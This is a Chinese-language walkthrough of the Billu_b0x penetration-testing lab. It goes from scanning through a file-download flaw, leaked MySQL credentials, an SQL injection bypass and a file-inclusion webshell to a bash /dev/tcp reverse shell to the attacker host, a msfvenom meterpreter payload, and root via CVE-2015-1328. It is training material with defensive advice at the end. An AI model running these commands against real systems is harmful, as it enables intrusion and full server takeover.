渗透靶场之Billu_b0x
字数 1269 2025-08-12 11:34:24
Billu_b0x 渗透靶场实战教学文档
1. 环境准备
- 下载靶场OVA文件并使用VMware打开
- 确保攻击机(Kali Linux)与靶机在同一网络环境
2. 信息收集阶段
2.1 主机发现
使用Metasploit的ARP扫描模块探测存活主机:
use auxiliary/scanner/discovery/arp_sweep
set RHOSTS 192.168.91.0/24
set THREADS 30
run
发现靶机IP:192.168.91.149
2.2 端口扫描
使用Nmap进行TCP SYN扫描:
nmap -sS -Pn -p- 192.168.91.149
发现开放端口:
- 22/tcp (SSH)
- 80/tcp (HTTP)
2.3 Web服务探测
- 使用dirsearch扫描Web目录:
python dirsearch.py -u http://192.168.91.149/
- 发现的有用路径:
- /add.php
- /c.php
- /head.php
- /index.php
- /phpmy/ (phpMyAdmin)
- /in (phpinfo)
- /test.php
3. 漏洞利用
3.1 任意文件下载漏洞
在test.php发现文件下载功能:
http://192.168.91.149/test.php?file=index.php
使用POST方法成功利用:
POST参数:file=etc/passwd
获取到的关键信息:
- 可登录用户:root和ica
3.2 数据库凭证泄露
通过下载c.php文件发现MySQL凭证:
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");
3.3 phpMyAdmin登录
使用发现的凭证登录phpMyAdmin:
- 用户名:billu
- 密码:b0x_billu
尝试写shell失败(secure_file_priv限制)
3.4 Web应用登录绕过
分析index.php中的SQL查询:
$uname=str_replace(urldecode($_POST['un']));
$pass=str_replace(urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
绕过方法(SQL注入):
un与ps的参数都改为:or 1=1#\
3.5 文件上传+文件包含漏洞
- 文件上传路径:uploaded_images/
- 文件包含漏洞(panel.php):
include($dir.'/'.$_POST['load']);
利用步骤:
- 上传图片马(包含PHP代码的图片)
- 通过文件包含执行图片中的代码
3.6 获取反向Shell
- 在Kali上监听:
nc -nlvp 6666
- 执行反弹Shell命令(URL编码):
bash -i >& /dev/tcp/192.168.91.139/6666 0>&1
- 升级为交互式Shell:
python -c 'import pty; pty.spawn("/bin/bash")'
4. 权限提升
4.1 使用Metasploit提权
- 生成Linux Meterpreter payload:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.91.139 LPORT=4444 -f elf > shell.elf
- 设置监听:
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.91.139
set LPORT 4444
run
- 尝试自动提权:
run post/multi/recon/local_exploit_suggester
4.2 内核漏洞提权
- 查看系统信息:
uname -a
cat /etc/issue
-
发现内核版本:Linux 3.19.0-18-generic
-
利用OverlayFS漏洞(CVE-2015-1328):
- 下载exp代码:https://www.exploit-db.com/exploits/37292
- 编译执行:
gcc ofs.c -o ofs
./ofs
4.3 备用提权方法
通过phpMyAdmin配置文件获取root密码:
- 下载配置文件:
file=/var/www/phpmy/config.inc.php
-
发现root密码:roottoor
-
直接SSH登录:
ssh root@192.168.91.149
5. 总结与关键点
- 信息收集要全面:包括端口扫描、目录扫描、文件下载等
- 凭证复用:Web应用密码可能用于数据库,数据库密码可能用于系统
- 组合漏洞利用:文件上传+文件包含是常见组合
- 提权路径:
- 首先检查SUID文件
- 然后尝试内核漏洞
- 最后检查配置文件泄露
- 交互式Shell重要性:非交互式Shell限制多,应尽快升级
6. 防御建议
- 限制文件下载功能
- 使用预处理语句防止SQL注入
- 文件上传应重命名并检查内容
- 禁用危险PHP函数
- 及时更新系统和应用补丁
- 使用最小权限原则配置服务账户